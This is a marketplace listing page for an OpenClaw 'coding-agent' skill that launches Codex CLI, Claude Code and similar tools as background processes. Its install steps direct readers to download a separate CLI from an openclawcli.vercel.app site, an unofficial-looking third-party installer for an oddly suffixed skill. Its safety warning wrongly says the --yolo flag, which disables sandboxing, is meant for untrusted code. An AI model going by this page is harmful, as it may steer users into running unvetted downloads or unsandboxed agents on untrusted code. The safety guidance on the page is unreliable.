coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
Why use this skill?
Learn how to use the OpenClaw coding-agent skill to automate code reviews, build features, and manage background coding sessions using Codex and other CLI tools.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/coding-agent9vrWhat This Skill Does
The coding-agent skill is a powerful orchestration tool that allows OpenClaw to spawn and manage external coding assistants—such as Codex CLI, Claude Code, OpenCode, or Pi Coding Agent—as background processes. By leveraging OpenClaw’s bash integration, this skill provides programmatic control over autonomous agents, enabling them to perform complex development tasks, refactorings, or automated code reviews without blocking the primary agent interface. It transforms your environment into an automation powerhouse by delegating coding tasks to specialized agents within isolated working directories.
Installation
- Install OpenClawCLI from openclawcli.vercel.app for Windows or MacOS.
- Once the CLI is installed, run the installation command provided by OpenClaw:
clawhub install openclaw/skills/skills/thiagoruss0/coding-agent9vr. - Verify that your shell environment has the necessary permissions to execute background processes and that your desired coding assistant (e.g., Codex) is pre-configured in your system paths.
Use Cases
- Autonomous Prototyping: Rapidly spin up agents to build boilerplate features or UI components using flags like
--full-autoor--yolo. - Automated Pull Request Reviews: Execute batch reviews across multiple feature branches or external repositories without interrupting your current workflow.
- Background Refactoring: Offload time-consuming codebase migrations or dependency updates to a background process, allowing you to continue other tasks while the agent works.
- Sandbox Experimentation: Use the
workdirpattern to spawn agents in temporary directories for isolated coding trials or security-conscious exploration.
Example Prompts
- "Use the coding-agent to spin up a background session in the
./srcdirectory and ask it to refactor all API calls to use the new TypeScript SDK." - "Review the current open pull request in this repository using the coding-agent and output the results to a log file."
- "Launch a background coding-agent in a temporary scratch directory and build a snake game with a dark theme using the --full-auto flag."
Tips & Limitations
- Isolation is Key: Always use specific
workdirpaths. This prevents agents from modifying unintended files and keeps your workspace clean. - Use Tmux for Interaction: While this skill is optimized for background tasks, use the
tmuxskill if you require a persistent, interactive session for debugging. - Safety Warning: The
--yoloflag disables all sandbox protections. Only use this on untrusted code or experimental branches where you are prepared to handle potential breaking changes or security risks. Always follow the guidelines provided for reviewing PRs to ensure the stability of the host Clawdbot instance.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-thiagoruss0-coding-agent9vr": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
Related Skills
seo-optimizer
This skill should be used when analyzing HTML/CSS websites for SEO optimization, fixing SEO issues, generating SEO reports, or implementing SEO best practices. Use when the user requests SEO audits, optimization, meta tag improvements, schema markup implementation, sitemap generation, or general search engine optimization tasks.
deep-research
Deep Research Agent specializes in complex, multi-step research tasks that require planning, decomposition, and long-context reasoning across tools and files by we-crafted.com/agents/deep-research
bear-notes
Create, search, and manage Bear notes via grizzly CLI.
tavily-web-search
AI-optimized web search via Tavily API. Returns concise, relevant results for AI agents.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.